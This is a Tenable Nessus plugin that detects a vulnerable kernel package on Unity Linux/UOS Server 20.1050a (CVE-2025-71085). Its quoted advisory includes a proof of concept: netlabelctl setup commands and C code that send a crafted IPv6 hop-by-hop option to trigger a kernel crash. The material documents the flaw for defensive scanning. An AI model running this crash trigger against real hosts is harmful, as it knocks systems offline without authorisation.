Unity Linux 20.1050a Security Update: kernel (UTSA-2026-098950)

#%NASL_MIN_LEVEL 80900
##
# (C) Tenable, Inc.
##

include('compat.inc');

if (description)
{
  script_id(340389);
  script_version("1.2");
  script_set_attribute(attribute:"plugin_modification_date", value:"2026/08/28");

  script_cve_id("CVE-2025-71085");

  script_name(english:"Unity Linux 20.1050a Security Update: kernel (UTSA-2026-098950)");

  script_set_attribute(attribute:"synopsis", value:
"The Unity Linux host is missing one or more security updates.");
  script_set_attribute(attribute:"description", value:
"The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the
UTSA-2026-098950 advisory.

    In the Linux kernel, the following vulnerability has been resolved:

    ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

    There exists a kernel oops caused by a BUG_ON(nhead < 0) at
    net/core/skbuff.c:2232 in pskb_expand_head().
    This bug is triggered as part of the calipso_skbuff_setattr()
    routine when skb_cow() is passed headroom > INT_MAX
    (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

    The root cause of the bug is due to an implicit integer cast in
    __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
    that delta = headroom - skb_headroom(skb) is never negative, otherwise
    we will trigger a BUG_ON in pskb_expand_head(). However, if
    headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
    becomes negative, and pskb_expand_head() is passed a negative value for
    nhead.

    Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
    negative headroom sizes to skb_cow() within calipso_skbuff_setattr()
    by only using skb_cow() to grow headroom.

    PoC:
            Using `netlabelctl` tool:

            netlabelctl map del default
            netlabelctl calipso add pass doi:7
            netlabelctl map add default address:0::1/128 protocol:calipso,7

            Then run the following PoC:

            int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

            // setup msghdr
            int cmsg_size = 2;
            int cmsg_len = 0x60;
            struct msghdr msg;
            struct sockaddr_in6 dest_addr;
            struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                            sizeof(struct cmsghdr) + cmsg_len);
            msg.msg_name = &dest_addr;
            msg.msg_namelen = sizeof(dest_addr);
            msg.msg_iov = NULL;
            msg.msg_iovlen = 0;
            msg.msg_control = cmsg;
            msg.msg_controllen = cmsg_len;
            msg.msg_flags = 0;

            // setup sockaddr
            dest_addr.sin6_family = AF_INET6;
            dest_addr.sin6_port = htons(31337);
            dest_addr.sin6_flowinfo = htonl(31337);
            dest_addr.sin6_addr = in6addr_loopback;
            dest_addr.sin6_scope_id = 31337;

            // setup cmsghdr
            cmsg->cmsg_len = cmsg_len;
            cmsg->cmsg_level = IPPROTO_IPV6;
            cmsg->cmsg_type = IPV6_HOPOPTS;
            char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
            hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

            sendmsg(fd, &msg, 0);

Tenable has extracted the preceding description block directly from the Unity Linux security advisory.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version
number.");
  # https://src.uniontech.com/#/security_advisory_detail?utsa_id=UTSA-2026-098950
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?ad46db51");
  # https://lore.kernel.org/linux-cve-announce/2026011340-CVE-2025-71085-e6c1@gregkh
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?31eab8f1");
  script_set_attribute(attribute:"see_also", value:"https://nvd.nist.gov/vuln/detail/CVE-2025-71085");
  script_set_attribute(attribute:"solution", value:
"Update the affected kernel package.");
  script_set_cvss_base_vector("CVSS2#AV:L/AC:L/Au:S/C:N/I:N/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:U/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2025-71085");

  script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"false");

  script_set_attribute(attribute:"vuln_publication_date", value:"2026/01/13");
  script_set_attribute(attribute:"patch_publication_date", value:"2026/08/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2026/08/26");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"generated_plugin", value:"current");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Unity Linux Local Security Checks");

  script_copyright(english:"This script is Copyright (C) 2026 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssh_get_info2.nasl");
  script_require_keys("Host/local_checks_enabled", "Host/UOS-Server/release", "Host/UOS-Server/rpm-list", "Host/cpu");

  exit(0);
}
include('rpm2.inc');

if (!get_kb_item('Host/local_checks_enabled')) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
var os_product = get_kb_item('installed_os/local/SSH/0/product');
if (isnull(os_product) || 'UOS Server' >!< os_product) audit(AUDIT_OS_NOT, 'UOS Server');
var os_version = get_kb_item('installed_os/local/SSH/0/version');
if (isnull(os_version)) audit(AUDIT_UNKNOWN_APP_VER, 'UOS Server');
if (! preg(pattern:"^(20.1050a)([^0-9]|$)", string:os_version)) audit(AUDIT_OS_NOT, 'UOS Server 20.1050a', 'UOS Server ' + os_version);

if (!get_kb_item('Host/UOS-Server/rpm-list')) audit(AUDIT_PACKAGE_LIST_MISSING);

var cpu = get_kb_item('Host/cpu');
if (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);
if ('aarch64' >!< cpu && 'amd64' >!< cpu && 'loongarch64' >!< cpu && 'x86_64' >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, 'UOS Server', cpu);


var constraints = [
  {
    'release': '20',
    'sp': '1050a',
    'pkgs': [
      {'reference':'kernel-4.19.0-91.82.132.24.uelc20', 'sp':'1050a', 'cpu':'aarch64', 'rpm_spec_vers_cmp':TRUE},
      {'reference':'kernel-4.19.0-91.82.132.24.uelc20', 'sp':'1050a', 'cpu':'amd64', 'rpm_spec_vers_cmp':TRUE},
      {'reference':'kernel-4.19.0-91.82.132.24.uelc20', 'sp':'1050a', 'cpu':'loongarch64', 'rpm_spec_vers_cmp':TRUE},
      {'reference':'kernel-4.19.0-91.82.132.24.uelc20', 'sp':'1050a', 'cpu':'x86_64', 'rpm_spec_vers_cmp':TRUE}
    ]
  }
];

var os_release = get_one_kb_item('installed_os/local/SSH/0/release');
var os_sp = get_one_kb_item('Host/*/minor_release');

var flag = 0;
var reference;
var sp;
var _cpu;
var el_string;
var rpm_spec_vers_cmp;
var epoch;
var allowmaj;
var exists_check;
var cves;
foreach var constraint ( constraints ) {
  # Check that the target release is equal to the affected release
  if (!empty_or_null(constraint['release'])){
    if (constraint['release'] != os_release) continue;
  }
  if (!empty_or_null(constraint['sp'])){
    if (constraint['sp'] != os_sp) continue;
  }
  foreach var pkg ( constraint['pkgs'] ) {
    reference = NULL;
    sp = NULL;
    _cpu = NULL;
    el_string = NULL;
    rpm_spec_vers_cmp = NULL;
    epoch = NULL;
    allowmaj = NULL;
    exists_check = NULL;
    cves = NULL;
    if (!empty_or_null(pkg['reference'])) reference = pkg['reference'];
    if (!empty_or_null(pkg['sp'])) sp = pkg['sp'];
    if (!empty_or_null(pkg['cpu'])) _cpu = pkg['cpu'];
    if (!empty_or_null(pkg['el_string'])) el_string = pkg['el_string'];
    if (!empty_or_null(pkg['rpm_spec_vers_cmp'])) rpm_spec_vers_cmp = pkg['rpm_spec_vers_cmp'];
    if (!empty_or_null(pkg['epoch'])) epoch = pkg['epoch'];
    if (!empty_or_null(pkg['allowmaj'])) allowmaj = pkg['allowmaj'];
    if (!empty_or_null(pkg['exists_check'])) exists_check = pkg['exists_check'];
    if (!empty_or_null(pkg['cves'])) cves = pkg['cves'];
    if (reference &&
        ## (no known rpm to check OR known rpm_exists)
        (!exists_check || rpm_exists(rpm:exists_check)) &&
        rpm_check(sp:sp, cpu:_cpu, reference:reference, epoch:epoch, el_string:el_string, rpm_spec_vers_cmp:rpm_spec_vers_cmp, allowmaj:allowmaj, cves:cves)) flag++;
  }
}


if (flag)
{
  security_report_v4(
      port       : 0,
      severity   : SECURITY_WARNING,
      extra      : rpm_report_get()
  );
  exit(0);
}
else
{
  var tested = pkg_tests_get();
  if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
  else audit(AUDIT_PACKAGE_NOT_INSTALLED, 'kernel');
}